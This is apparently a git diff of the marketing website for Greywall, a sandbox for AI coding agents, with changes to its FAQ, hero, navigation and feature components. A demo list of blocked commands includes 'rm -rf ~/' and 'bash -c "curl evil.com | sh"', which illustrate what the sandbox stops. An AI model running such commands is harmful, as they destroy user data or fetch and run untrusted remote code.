<span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
|
||||
<span className="text-red-500 text-[10px] w-14 shrink-0">BLOCKED</span>
|
||||
<span className="text-muted-foreground truncate">npm publish</span>
|
||||
</div>
|
||||
<div className="flex items-center gap-3 min-w-0">
|
||||
<span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
|
||||
<span className="text-red-500 text-[10px] w-14 shrink-0">BLOCKED</span>
|
||||
<span className="text-muted-foreground truncate">rm -rf ~/</span>
|
||||
</div>
|
||||
<div className="flex items-center gap-3 min-w-0">
|
||||
<span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
|
||||
<span className="text-red-500 text-[10px] w-14 shrink-0">BLOCKED</span>
|
||||
<span className="text-muted-foreground truncate">bash -c "curl evil.com | sh"</span>
|
||||
</div>
|
||||
<div className="mt-3 flex items-center gap-3 min-w-0">
|
||||
<span className="text-green-400/70 text-[10px] w-14 shrink-0">ALLOWED</span>
|
||||
<span className="text-greyhaven-offwhite truncate">git commit -m "fix: types"</span>
|
||||
<span className="text-emerald-600 text-[10px] w-14 shrink-0">ALLOWED</span>
|
||||
<span className="text-foreground truncate">git commit -m "fix: types"</span>
|
||||
</div>
|
||||
<div className="flex items-center gap-3 min-w-0">
|
||||
<span className="text-green-400/70 text-[10px] w-14 shrink-0">ALLOWED</span>
|
||||
<span className="text-greyhaven-offwhite truncate">npm install lodash</span>
|
||||
<span className="text-emerald-600 text-[10px] w-14 shrink-0">ALLOWED</span>
|
||||
<span className="text-foreground truncate">npm install lodash</span>
|
||||
</div>
|
||||
</div>
|
||||
<p className="text-xs text-muted-foreground font-serif mt-4">
|
||||
Detects blocked commands in pipes, chains, and nested shells.
|
||||
Block rules still apply inside pipes, chains, and nested shells.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{/* Learning mode */}
|
||||
<div className="p-4 sm:p-6 rounded-lg border border-border/40 bg-card/30">
|
||||
<div className="surface-card p-4 sm:p-6 rounded-lg border border-border/50">
|
||||
<div className="flex items-center gap-3 mb-5">
|
||||
<GraduationCap className="h-5 w-5 text-primary" />
|
||||
<GraduationCap className="h-5 w-5 text-foreground" />
|
||||
<h3 className="font-sans font-semibold text-sm">Learning mode</h3>
|
||||
</div>
|
||||
<div className="code-block p-4 mb-4">
|
||||
@@ -239,8 +231,8 @@ export function Control() {
|
||||
</div>
|
||||
<p className="text-xs text-muted-foreground font-serif leading-relaxed">
|
||||
{platform === 'linux'
|
||||
? 'Uses strace to trace filesystem access. No special permissions needed. Auto-generates a template from observed paths.'
|
||||
: 'Uses macOS Endpoint Security (eslogger) to trace access. Auto-generates a least-privilege template from observed paths.'}
|
||||
? 'Uses strace to observe filesystem access and turns the result into an initial least-privilege template.'
|
||||
: 'Uses macOS Endpoint Security logging to observe access and turn the result into an initial least-privilege template.'}
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
@@ -248,8 +240,7 @@ export function Control() {
|
||||
<div className="mt-8 p-5 rounded-lg border border-primary/15 bg-primary/[0.03]">
|
||||
<p className="text-sm text-muted-foreground font-serif leading-relaxed">
|
||||
<span className="text-primary font-medium">Independent enforcement.</span>{' '}
|
||||
The security layer around your AI tools should be independent of the company selling you
|
||||
the AI, for the same reason you shouldn't let a bank audit itself.
|
||||
The control layer around the agent should remain separate from the vendor providing the model. The boundary needs its own point of control.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
38
components/cta-button.tsx
Normal file
@@ -0,0 +1,38 @@
|
||||
import type { ReactNode } from 'react'
|
||||
|
||||
type CTAButtonProps = {
|
||||
children: ReactNode
|
||||
className?: string
|
||||
type?: 'button' | 'submit'
|
||||
href?: string
|
||||
onClick?: () => void
|
||||
disabled?: boolean
|
||||
}
|
||||
|
||||
const baseClassName =
|
||||
'bg-primary text-serif text-[12px] md:text-[15px] leading-[140%] tracking-[-0.02em] font-semibold flex items-center gap-2 text-white! px-4 py-3 rounded-md transition-all duration-150 shadow-md hover:shadow-lg'
|
||||
|
||||
export function CTAButton({
|
||||
children,
|
||||
className = '',
|
||||
type = 'button',
|
||||
href,
|
||||
onClick,
|
||||
disabled = false,
|
||||
}: CTAButtonProps) {
|
||||
const fullClassName = `${baseClassName} ${disabled ? 'cursor-not-allowed opacity-50' : ''} ${className}`.trim()
|
||||
|
||||
if (href) {
|
||||
return (
|
||||
<a href={href} className={fullClassName}>
|
||||
{children}
|
||||
</a>
|
||||
)
|
||||
}
|
||||
|
||||
return (
|
||||
<button type={type} onClick={onClick} disabled={disabled} className={fullClassName}>
|
||||
{children}
|
||||
</button>
|
||||
)
|
||||
}
|
||||
114
components/faq.tsx
Normal file
@@ -0,0 +1,114 @@
|
||||
'use client'
|
||||
|
||||
import { useState } from 'react'
|
||||
import { ChevronDown } from 'lucide-react'
|
||||
|
||||
const faqs = [
|
||||
{
|
||||
question: 'What is Greywall?',
|
||||
answer:
|
||||
'Greywall is a command-line tool for running AI agents inside a contained local boundary. Prefix the agent command with <code>greywall --</code> and Greywall applies deny-by-default controls for filesystem access, network access, and blocked commands at the OS layer. It works on Linux and macOS and is open source under Apache 2.0.',
|
||||
},
|
||||
{
|
||||
question: 'How do I sandbox my AI coding agent?',
|
||||
answer:
|
||||
'Install Greywall, then prefix the command you already use: <code>greywall -- claude</code>, <code>greywall -- opencode</code>, or another local CLI agent. Greywall operates below the agent, so it does not need plugins or agent-specific configuration. If you want to inspect what the agent attempted, open the GreyProxy dashboard.',
|
||||
},
|
||||
{
|
||||
question: 'How is Greywall different from running agents in Docker?',
|
||||
answer:
|
||||
'Containers isolate software well, but they often separate the agent from the local toolchain and working copy you actually need. Greywall keeps the agent in the normal local environment while enforcing boundaries around what it can read, write, execute, or reach on the network. It also records denied operations and live requests, which a basic container setup does not provide by itself.',
|
||||
},
|
||||
{
|
||||
question: 'Does Greywall work on macOS?',
|
||||
answer:
|
||||
'Yes. On macOS, Greywall uses Seatbelt, Apple's built-in sandbox facility. It generates a deny-by-default profile per session for filesystem access, network connections, and IPC. Linux has more available layers, but the macOS path still provides strong local containment using built-in OS capabilities.',
|
||||
},
|
||||
{
|
||||
question: 'Is Greywall open source?',
|
||||
answer:
|
||||
'Yes. Greywall is released under Apache 2.0 and the source is available on <a href="https://github.com/GreyhavenHQ/greywall" target="_blank" rel="noopener noreferrer">GitHub</a>. For a control layer, being able to inspect the implementation is a practical requirement. Greywall is built by <a href="https://greyhaven.co" target="_blank" rel="noopener noreferrer">Greyhaven</a> and used in production deployments.',
|
||||
},
|
||||
{
|
||||
question: 'What kernel version does Linux require?',
|
||||
answer:
|
||||
'Namespace isolation via Bubblewrap needs Linux 3.8. Landlock filesystem controls need 5.13. Seccomp BPF needs 3.5. eBPF monitoring needs 4.15. The network proxy works on any kernel. Greywall detects the features present on the host and enables the layers it can support. Run <code>greywall --linux-features</code> to inspect the result.',
|
||||
},
|
||||
{
|
||||
question: 'Which AI agents does Greywall support?',
|
||||
answer:
|
||||
'Greywall works with local CLI agents that run as normal processes on your machine: Claude Code, Codex, Cursor, Aider, Goose, Amp, Gemini CLI, Cline, OpenCode, Copilot, and similar tools. Because Greywall operates below the agent, support does not depend on vendor-specific integrations.',
|
||||
},
|
||||
]
|
||||
|
||||
const faqJsonLd = {
|
||||
'@context': 'https://schema.org',
|
||||
'@type': 'FAQPage',
|
||||
mainEntity: faqs.map((faq) => ({
|
||||
'@type': 'Question',
|
||||
name: faq.question,
|
||||
acceptedAnswer: {
|
||||
'@type': 'Answer',
|
||||
text: faq.answer.replace(/<[^>]*>/g, ''),
|
||||
},
|
||||
})),
|
||||
}
|
||||
|
||||
function FAQItem({ question, answer }: { question: string; answer: string }) {
|
||||
const [open, setOpen] = useState(false)
|
||||
|
||||
return (
|
||||
<div className="border-b border-border/30">
|
||||
<button
|
||||
onClick={() => setOpen(!open)}
|
||||
className="w-full flex items-center justify-between gap-4 py-5 text-left cursor-pointer"
|
||||
>
|
||||
<h3 className="font-serif text-base sm:text-lg font-semibold text-foreground">
|
||||
{question}
|
||||
</h3>
|
||||
<ChevronDown
|
||||
className={`h-4 w-4 shrink-0 text-muted-foreground transition-transform duration-200 ${
|
||||
open ? 'rotate-180' : ''
|
||||
}`}
|
||||
/>
|
||||
</button>
|
||||
<div
|
||||
className={`grid transition-[grid-template-rows] duration-200 ${
|
||||
open ? 'grid-rows-[1fr]' : 'grid-rows-[0fr]'
|
||||
}`}
|
||||
>
|
||||
<div className="overflow-hidden">
|
||||
<p
|
||||
className="pb-5 text-muted-foreground font-serif text-base leading-relaxed [&_code]:font-mono [&_code]:text-xs [&_code]:text-foreground [&_code]:bg-card/50 [&_code]:px-1.5 [&_code]:py-0.5 [&_code]:rounded [&_a]:text-primary [&_a]:hover:text-primary/80 [&_a]:transition-colors"
|
||||
dangerouslySetInnerHTML={{ __html: answer }}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
export function FAQ() {
|
||||
return (
|
||||
<section className="py-24 px-4 sm:px-6 border-t border-border/30">
|
||||
<div className="mx-auto max-w-5xl">
|
||||
<div className="max-w-2xl mb-12">
|
||||
<h2 className="title-serif text-[36px] md:text-[48px] leading-none">
|
||||
Frequently asked.
|
||||
</h2>
|
||||
</div>
|
||||
|
||||
<div className="max-w-3xl">
|
||||
{faqs.map((faq) => (
|
||||
<FAQItem key={faq.question} question={faq.question} answer={faq.answer} />
|
||||
))}
|
||||
</div>
|
||||
|
||||
<script
|
||||
type="application/ld+json"
|
||||
dangerouslySetInnerHTML={{ __html: JSON.stringify(faqJsonLd) }}
|
||||
/>
|
||||
</div>
|
||||
</section>
|
||||
)
|
||||
}
|
||||
@@ -1,21 +1,14 @@
|
||||
import { GreywallLogo } from './logo'
|
||||
|
||||
export function Footer() {
|
||||
return (
|
||||
<footer className="py-12 px-6 border-t border-border/30">
|
||||
<div className="mx-auto max-w-5xl flex flex-col sm:flex-row items-center justify-between gap-4">
|
||||
<div className="mx-auto flex w-full max-w-[1480px] flex-col items-center justify-between gap-4 sm:flex-row">
|
||||
<div className="flex items-center gap-2">
|
||||
<svg viewBox="0 0 32 32" fill="none" className="h-4 w-4" xmlns="http://www.w3.org/2000/svg">
|
||||
<path d="M16 2L4 7V15C4 22.18 9.11 28.79 16 30C22.89 28.79 28 22.18 28 15V7L16 2Z" fill="#D95E2A" />
|
||||
<path d="M16 6L8 9.5V15C8 20.05 11.42 24.68 16 26C20.58 24.68 24 20.05 24 15V9.5L16 6Z" fill="#161614" />
|
||||
<circle cx="16" cy="12" r="2" fill="#D95E2A" />
|
||||
<circle cx="12" cy="17" r="1.5" fill="#D95E2A" />
|
||||
<circle cx="20" cy="17" r="1.5" fill="#D95E2A" />
|
||||
<circle cx="16" cy="21" r="1.5" fill="#D95E2A" />
|
||||
<path d="M16 14V19.5M14 16L12.5 17M18 16L19.5 17" stroke="#D95E2A" strokeWidth="1" strokeLinecap="round" />
|
||||
</svg>
|
||||
<span className="font-serif font-semibold text-sm text-foreground">Greywall</span>
|
||||
<span className="text-xs text-muted-foreground font-sans">by Greyhaven</span>
|
||||
<GreywallLogo size="small" />
|
||||
<span className="text-sm text-muted-foreground font-sans">by Greyhaven</span>
|
||||
</div>
|
||||
<div className="flex items-center gap-6 text-xs text-muted-foreground font-sans">
|
||||
<div className="flex items-center gap-6 text-sm text-muted-foreground font-sans">
|
||||
<a
|
||||
href="https://github.com/GreyhavenHQ/greywall"
|
||||
target="_blank"
|
||||
@@ -32,6 +25,12 @@ export function Footer() {
|
||||
>
|
||||
greyhaven.co
|
||||
</a>
|
||||
<a
|
||||
href="/privacy"
|
||||
className="hover:text-foreground transition-colors"
|
||||
>
|
||||
Privacy
|
||||
</a>
|
||||
<span>Apache 2.0</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
'use client'
|
||||
|
||||
import { useState } from 'react'
|
||||
import { Download, Copy, Check } from 'lucide-react'
|
||||
import { Copy, Check } from 'lucide-react'
|
||||
|
||||
const methods = [
|
||||
{
|
||||
@@ -44,7 +44,7 @@ function CodeBlock({ cmd, label }: { cmd: string; label: string }) {
|
||||
title="Copy to clipboard"
|
||||
>
|
||||
{copied ? (
|
||||
<Check className="h-4 w-4 text-primary" />
|
||||
<Check className="h-4 w-4 text-muted-foreground" />
|
||||
) : (
|
||||
<Copy className="h-4 w-4" />
|
||||
)}
|
||||
@@ -58,17 +58,11 @@ export function GettingStarted() {
|
||||
return (
|
||||
<section id="getting-started" className="py-24 px-4 sm:px-6 border-t border-border/30">
|
||||
<div className="mx-auto max-w-5xl text-center">
|
||||
<div className="flex items-center justify-center gap-2 mb-4">
|
||||
<Download className="h-4 w-4 text-primary" />
|
||||
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
|
||||
Getting started
|
||||
</span>
|
||||
</div>
|
||||
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
|
||||
Install in one command.
|
||||
<h2 className="title-serif text-[36px] md:text-[48px] leading-none mb-4">
|
||||
Start with the CLI.
|
||||
</h2>
|
||||
<p className="text-muted-foreground font-serif text-lg leading-relaxed mb-10">
|
||||
Wrap any agent and it runs sandboxed.
|
||||
<p className="text-serif font-normal text-[15px] md:text-[16px] leading-[1.55] text-muted-foreground mb-10">
|
||||
Install Greywall, then prefix the agent command you already use.
|
||||
</p>
|
||||
|
||||
<div className="mx-auto max-w-2xl text-left space-y-6">
|
||||
|
||||
@@ -1,25 +1,72 @@
|
||||
export function Hero() {
|
||||
return (
|
||||
<section className="relative pt-24 sm:pt-32 pb-12 sm:pb-16 px-4 sm:px-6 overflow-hidden">
|
||||
{/* Subtle background gradient */}
|
||||
<div className="absolute inset-0 bg-[radial-gradient(ellipse_at_top,rgba(217,94,42,0.05)_0%,transparent_50%)]" />
|
||||
{/* Grid pattern */}
|
||||
<div
|
||||
className="absolute inset-0 opacity-[0.03]"
|
||||
style={{
|
||||
backgroundImage:
|
||||
'linear-gradient(rgba(249,249,247,1) 1px, transparent 1px), linear-gradient(90deg, rgba(249,249,247,1) 1px, transparent 1px)',
|
||||
backgroundSize: '64px 64px',
|
||||
}}
|
||||
/>
|
||||
import { BetaSignup } from './beta-signup'
|
||||
|
||||
<div className="relative mx-auto max-w-4xl text-center">
|
||||
<h1 className="font-serif text-4xl sm:text-5xl md:text-6xl font-semibold tracking-tight leading-[1.1] mb-6">
|
||||
<em className="italic text-primary">Greywall</em> your agent & let it cook.
|
||||
</h1>
|
||||
<p className="text-lg text-muted-foreground leading-relaxed max-w-2xl mx-auto font-serif">
|
||||
Container-free sandboxing with real-time observability & dynamic controls, for Linux & MacOS.
|
||||
</p>
|
||||
async function getStarCount(): Promise<string> {
|
||||
try {
|
||||
const res = await fetch('https://api.github.com/repos/GreyhavenHQ/greywall', {
|
||||
next: { revalidate: 3600 },
|
||||
headers: { Accept: 'application/vnd.github+json' },
|
||||
})
|
||||
if (!res.ok) return '138 stars'
|
||||
const data = await res.json()
|
||||
return typeof data.stargazers_count === 'number' ? `${data.stargazers_count} stars` : '138 stars'
|
||||
} catch {
|
||||
return '138 stars'
|
||||
}
|
||||
}
|
||||
|
||||
export async function Hero() {
|
||||
const stars = await getStarCount()
|
||||
const badges = [
|
||||
{ href: 'https://github.com/GreyhavenHQ/greywall', label: 'GitHub', value: stars },
|
||||
{ href: 'https://github.com/GreyhavenHQ/greywall/blob/main/LICENSE', label: 'License', value: 'Apache-2.0' },
|
||||
{ href: 'https://github.com/GreyhavenHQ/greywall/releases', label: 'Release', value: 'v0.3.1' },
|
||||
{ href: 'https://github.com/GreyhavenHQ/greywall', label: 'Go', value: 'v1.25' },
|
||||
{ href: 'https://www.producthunt.com/products/greywall?launch=greywall', label: 'Product Hunt', value: 'Greywall' },
|
||||
]
|
||||
return (
|
||||
<section className="relative w-full px-4 pt-8 pb-6 sm:px-6 sm:pt-10 sm:pb-8">
|
||||
<div className="relative z-10 mx-auto max-w-5xl text-center">
|
||||
<div className="flex flex-col items-center gap-3">
|
||||
<div className="w-full text-center">
|
||||
<h1 className="title-serif mx-auto w-full max-w-[980px] text-[40px] leading-[1.0] tracking-normal font-semibold md:text-[72px]">
|
||||
Contain and observe AI agents without friction.
|
||||
</h1>
|
||||
</div>
|
||||
|
||||
<div className="text-center">
|
||||
<p className="text-serif mx-auto max-w-[380px] text-[18px] leading-[1.2] font-semibold tracking-[-2.2%] text-greyhaven-grey7 md:max-w-[720px] md:text-[28px]">
|
||||
Default-deny filesystem, network, and command controls around AI agents on Linux and macOS, with records of what they tried to do.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div className="mt-1 flex flex-wrap items-center justify-center gap-2">
|
||||
{badges.map((badge) => (
|
||||
<a
|
||||
key={badge.label}
|
||||
href={badge.href}
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className="inline-flex items-center overflow-hidden rounded-md border border-border/60 bg-card/90 text-[13px] leading-none transition-colors hover:border-primary/30 md:text-[14px]"
|
||||
>
|
||||
<span className="bg-greyhaven-grey8 px-3 py-1.5 font-sans text-greyhaven-offwhite md:px-3.5 md:py-2">
|
||||
{badge.label}
|
||||
</span>
|
||||
<span className="bg-primary px-3 py-1.5 font-sans text-primary-foreground md:px-3.5 md:py-2">
|
||||
{badge.value}
|
||||
</span>
|
||||
</a>
|
||||
))}
|
||||
</div>
|
||||
|
||||
<BetaSignup
|
||||
subject="Greywall managed governance inquiry (hero)"
|
||||
message="(hero governance CTA)"
|
||||
inputClassName="w-56 rounded-md border border-border/40 bg-background/40 px-4 py-2.5 text-sm font-sans text-foreground placeholder:text-muted-foreground/60 transition-colors focus:border-primary/40 focus:outline-none sm:w-64"
|
||||
submitClassName="px-4 py-2.5 font-sans text-sm font-medium md:text-sm"
|
||||
helperTextClassName="text-xs text-muted-foreground/60 font-serif"
|
||||
wrapperClassName="mt-2 flex flex-col items-center gap-1.5"
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
)
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
'use client'
|
||||
|
||||
import { Box, Lock, ShieldCheck, Eye, Wifi, Layers as LayersIcon, Shield, Terminal } from 'lucide-react'
|
||||
import { Box, Lock, ShieldCheck, Eye, Wifi, Shield, Terminal } from 'lucide-react'
|
||||
import { PlatformToggle, usePlatform } from './platform-toggle'
|
||||
|
||||
const linuxLayers = [
|
||||
@@ -81,19 +81,16 @@ export function Layers() {
|
||||
<div className="mx-auto max-w-5xl">
|
||||
<div className="flex flex-col sm:flex-row sm:items-end sm:justify-between gap-6 mb-16">
|
||||
<div className="max-w-2xl">
|
||||
<div className="flex items-center gap-2 mb-4">
|
||||
<LayersIcon className="h-4 w-4 text-primary" />
|
||||
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
|
||||
Defense in depth
|
||||
</span>
|
||||
</div>
|
||||
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
|
||||
<span className="text-serif text-[12px] font-bold uppercase tracking-[0.22em] text-primary mb-4 block">
|
||||
Defense in depth
|
||||
</span>
|
||||
<h2 className="title-serif text-[36px] md:text-[48px] leading-none mb-4">
|
||||
{platform === 'linux' ? 'Five orthogonal security layers.' : 'Kernel-enforced on every call.'}
|
||||
</h2>
|
||||
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
|
||||
<p className="text-serif font-normal text-[15px] md:text-[16px] leading-[1.55] text-muted-foreground">
|
||||
{platform === 'linux'
|
||||
? 'Each layer operates independently. A bug in one is caught by another. No single point of failure. Every constraint is enforced at the kernel level.'
|
||||
: 'macOS Seatbelt enforces deny-by-default policies before any syscall completes. The sandbox profile is generated per-session with rules tailored to your project.'}
|
||||
? 'Each layer constrains a different part of the runtime. If one mechanism misses something, another can still catch it at the kernel boundary.'
|
||||
: 'macOS Seatbelt enforces deny-by-default rules before the call completes. The profile is generated per session from the project context you allow.'}
|
||||
</p>
|
||||
</div>
|
||||
<PlatformToggle />
|
||||
@@ -105,7 +102,7 @@ export function Layers() {
|
||||
key={layer.name}
|
||||
className="layer-card group flex items-start gap-3 sm:gap-5 p-4 sm:p-5 rounded-lg border border-border/40 bg-card/30 hover:border-primary/20"
|
||||
>
|
||||
<div className="shrink-0 flex items-center justify-center w-10 h-10 rounded-md bg-primary/10 text-primary">
|
||||
<div className="shrink-0 flex items-center justify-center w-10 h-10 rounded-md bg-muted/30 text-foreground">
|
||||
<layer.icon className="h-5 w-5" />
|
||||
</div>
|
||||
<div className="flex-1 min-w-0">
|
||||
@@ -113,7 +110,7 @@ export function Layers() {
|
||||
<h3 className="font-sans font-semibold text-sm text-foreground">
|
||||
{layer.name}
|
||||
</h3>
|
||||
<span className="px-2 py-0.5 rounded text-[10px] font-sans font-medium uppercase tracking-wider bg-primary/10 text-primary">
|
||||
<span className="px-2 py-0.5 rounded text-[10px] font-sans font-medium uppercase tracking-wider bg-muted/30 text-muted-foreground">
|
||||
{layer.tag}
|
||||
</span>
|
||||
</div>
|
||||
@@ -135,22 +132,20 @@ export function Layers() {
|
||||
{platform === 'linux' ? (
|
||||
<>
|
||||
<span className="text-primary font-medium">Graceful degradation.</span>{' '}
|
||||
Greywall detects kernel features at runtime and activates every layer your system
|
||||
supports. Run{' '}
|
||||
Greywall checks the kernel features available on the host and enables the layers it can support. Run{' '}
|
||||
<code className="font-mono text-xs text-foreground bg-card/50 px-1.5 py-0.5 rounded">
|
||||
greywall --linux-features
|
||||
</code>{' '}
|
||||
to see what's available.
|
||||
to inspect the active set.
|
||||
</>
|
||||
) : (
|
||||
<>
|
||||
<span className="text-primary font-medium">No dependencies.</span>{' '}
|
||||
macOS sandboxing uses only built-in OS capabilities. No packages to install.
|
||||
Run{' '}
|
||||
macOS sandboxing uses the built-in system facilities. Run{' '}
|
||||
<code className="font-mono text-xs text-foreground bg-card/50 px-1.5 py-0.5 rounded">
|
||||
greywall check
|
||||
</code>{' '}
|
||||
to verify your setup.
|
||||
to verify the local setup.
|
||||
</>
|
||||
)}
|
||||
</p>
|
||||
|
||||
26
components/logo.tsx
Normal file
@@ -0,0 +1,26 @@
|
||||
import Image from 'next/image'
|
||||
|
||||
type GreywallLogoProps = {
|
||||
className?: string
|
||||
size?: 'default' | 'small'
|
||||
}
|
||||
|
||||
const dimensions = {
|
||||
default: { width: 285, height: 70 },
|
||||
small: { width: 138, height: 40 },
|
||||
}
|
||||
|
||||
export function GreywallLogo({ className = '', size = 'small' }: GreywallLogoProps) {
|
||||
const { width, height } = dimensions[size]
|
||||
|
||||
return (
|
||||
<Image
|
||||
src="/greywall-logo.png"
|
||||
alt="Greywall"
|
||||
width={width}
|
||||
height={height}
|
||||
className={className}
|
||||
priority
|
||||
/>
|
||||
)
|
||||
}
|
||||
@@ -1,44 +1,35 @@
|
||||
import { GreywallLogo } from './logo'
|
||||
import { CTAButton } from './cta-button'
|
||||
|
||||
export function Nav() {
|
||||
return (
|
||||
<nav className="fixed top-0 left-0 right-0 z-50 border-b border-border/50 bg-background/80 backdrop-blur-md">
|
||||
<div className="mx-auto max-w-5xl flex items-center justify-between px-6 h-14">
|
||||
<nav className="relative top-0 left-0 right-0 z-50 bg-[#ECECE8] border-b border-grey-3 w-full">
|
||||
<div className="mx-auto flex h-16 w-full max-w-[1920px] items-center justify-between px-6">
|
||||
<a href="#" className="flex items-center gap-2.5 group">
|
||||
{/* Greywall shield logo */}
|
||||
<svg viewBox="0 0 32 32" fill="none" className="h-6 w-6" xmlns="http://www.w3.org/2000/svg">
|
||||
<path d="M16 2L4 7V15C4 22.18 9.11 28.79 16 30C22.89 28.79 28 22.18 28 15V7L16 2Z" fill="#D95E2A" />
|
||||
<path d="M16 6L8 9.5V15C8 20.05 11.42 24.68 16 26C20.58 24.68 24 20.05 24 15V9.5L16 6Z" fill="#161614" />
|
||||
<circle cx="16" cy="12" r="2" fill="#D95E2A" />
|
||||
<circle cx="12" cy="17" r="1.5" fill="#D95E2A" />
|
||||
<circle cx="20" cy="17" r="1.5" fill="#D95E2A" />
|
||||
<circle cx="16" cy="21" r="1.5" fill="#D95E2A" />
|
||||
<path d="M16 14V19.5M14 16L12.5 17M18 16L19.5 17" stroke="#D95E2A" strokeWidth="1" strokeLinecap="round" />
|
||||
</svg>
|
||||
<span className="font-serif font-semibold text-lg tracking-tight text-foreground">
|
||||
Greywall
|
||||
</span>
|
||||
<GreywallLogo size="small" />
|
||||
</a>
|
||||
<div className="flex items-center gap-6">
|
||||
<div className="hidden md:flex items-center gap-6">
|
||||
<a
|
||||
href="#features"
|
||||
className="text-sm text-muted-foreground hover:text-foreground transition-colors hidden sm:block"
|
||||
className="text-serif text-[15px] font-semibold text-grey-9 transition-opacity hover:opacity-70"
|
||||
>
|
||||
Features
|
||||
</a>
|
||||
<a
|
||||
href="#comparison"
|
||||
className="text-sm text-muted-foreground hover:text-foreground transition-colors hidden sm:block"
|
||||
className="text-serif text-[15px] font-semibold text-grey-9 transition-opacity hover:opacity-70"
|
||||
>
|
||||
Compare
|
||||
</a>
|
||||
<a
|
||||
href="#about"
|
||||
className="text-sm text-muted-foreground hover:text-foreground transition-colors hidden sm:block"
|
||||
className="text-serif text-[15px] font-semibold text-grey-9 transition-opacity hover:opacity-70"
|
||||
>
|
||||
About
|
||||
</a>
|
||||
<a
|
||||
href="/greyscan"
|
||||
className="text-sm text-primary hover:text-primary/80 transition-colors hidden sm:block font-medium"
|
||||
className="text-serif text-[15px] font-semibold text-primary"
|
||||
>
|
||||
Greyscan
|
||||
</a>
|
||||
@@ -46,7 +37,7 @@ export function Nav() {
|
||||
href="https://docs.greywall.io/"
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className="text-sm text-muted-foreground hover:text-foreground transition-colors hidden sm:block"
|
||||
className="text-serif text-[15px] font-semibold text-grey-9 transition-opacity hover:opacity-70"
|
||||
>
|
||||
Docs
|
||||
</a>
|
||||
@@ -54,13 +45,18 @@ export function Nav() {
|
||||
href="https://github.com/GreyhavenHQ/greywall"
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className="text-sm text-muted-foreground hover:text-foreground transition-colors flex items-center gap-1.5"
|
||||
className="flex items-center gap-1.5 text-serif text-[15px] font-semibold text-grey-9 transition-opacity hover:opacity-70"
|
||||
>
|
||||
<svg className="h-4 w-4" fill="currentColor" viewBox="0 0 24 24">
|
||||
<path d="M12 0c-6.626 0-12 5.373-12 12 0 5.302 3.438 9.8 8.207 11.387.599.111.793-.261.793-.577v-2.234c-3.338.726-4.033-1.416-4.033-1.416-.546-1.387-1.333-1.756-1.333-1.756-1.089-.745.083-.729.083-.729 1.205.084 1.839 1.237 1.839 1.237 1.07 1.834 2.807 1.304 3.492.997.107-.775.418-1.305.762-1.604-2.665-.305-5.467-1.334-5.467-5.931 0-1.311.469-2.381 1.236-3.221-.124-.303-.535-1.524.117-3.176 0 0 1.008-.322 3.301 1.23.957-.266 1.983-.399 3.003-.404 1.02.005 2.047.138 3.006.404 2.291-1.552 3.297-1.23 3.297-1.23.653 1.653.242 2.874.118 3.176.77.84 1.235 1.911 1.235 3.221 0 4.609-2.807 5.624-5.479 5.921.43.372.823 1.102.823 2.222v3.293c0 .319.192.694.801.576 4.765-1.589 8.199-6.086 8.199-11.386 0-6.627-5.373-12-12-12z" />
|
||||
</svg>
|
||||
<span className="hidden sm:inline">GitHub</span>
|
||||
</a>
|
||||
<CTAButton href="#waitlist" className="whitespace-nowrap">
|
||||
<span className="hidden sm:inline">Talk to us</span>
|
||||
<span className="sm:hidden">Contact</span>
|
||||
<span aria-hidden="true">→</span>
|
||||
</CTAButton>
|
||||
</div>
|
||||
</div>
|
||||
</nav>
|
||||
|
||||
@@ -1,32 +1,33 @@
|
||||
'use client'
|
||||
|
||||
import { useState, useEffect, useRef } from 'react'
|
||||
import { Eye } from 'lucide-react'
|
||||
import Image from 'next/image'
|
||||
|
||||
const slides = [
|
||||
{
|
||||
label: 'Dashboard',
|
||||
src: '/dashboard.png',
|
||||
alt: 'GreyProxy dashboard overview showing connection stats and activity',
|
||||
fit: false,
|
||||
alt: 'GreyProxy dashboard showing total requests, allowed, blocked, and allow rate stats',
|
||||
},
|
||||
{
|
||||
label: 'Pending requests',
|
||||
label: 'Pending',
|
||||
src: '/pending_requests.png',
|
||||
alt: 'GreyProxy pending network requests with Allow and Deny controls',
|
||||
fit: true,
|
||||
alt: 'GreyProxy pending network requests with Allow and Deny controls for each domain',
|
||||
},
|
||||
{
|
||||
label: 'Rules',
|
||||
src: '/rules.png',
|
||||
alt: 'GreyProxy domain rules configuration for allow and deny policies',
|
||||
fit: false,
|
||||
alt: 'GreyProxy domain rules configuration showing allow and deny policies per source',
|
||||
},
|
||||
{
|
||||
label: 'Logs',
|
||||
src: '/logs.png',
|
||||
alt: 'GreyProxy connection logs showing all outbound network activity',
|
||||
fit: false,
|
||||
label: 'Activity',
|
||||
src: '/activity.png',
|
||||
alt: 'GreyProxy activity log showing real-time TCP connections with status, source, destination, and duration',
|
||||
},
|
||||
{
|
||||
label: 'Conversations',
|
||||
src: '/conversations.png',
|
||||
alt: 'GreyProxy conversations view showing agent interactions with tool calls and results',
|
||||
},
|
||||
]
|
||||
|
||||
@@ -73,19 +74,14 @@ export function Observability() {
|
||||
<section id="features" className="py-24 px-4 sm:px-6 border-t border-border/30">
|
||||
<div className="mx-auto max-w-5xl">
|
||||
<div className="max-w-2xl mb-16">
|
||||
<div className="flex items-center gap-2 mb-4">
|
||||
<Eye className="h-4 w-4 text-primary" />
|
||||
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
|
||||
Clarity
|
||||
</span>
|
||||
</div>
|
||||
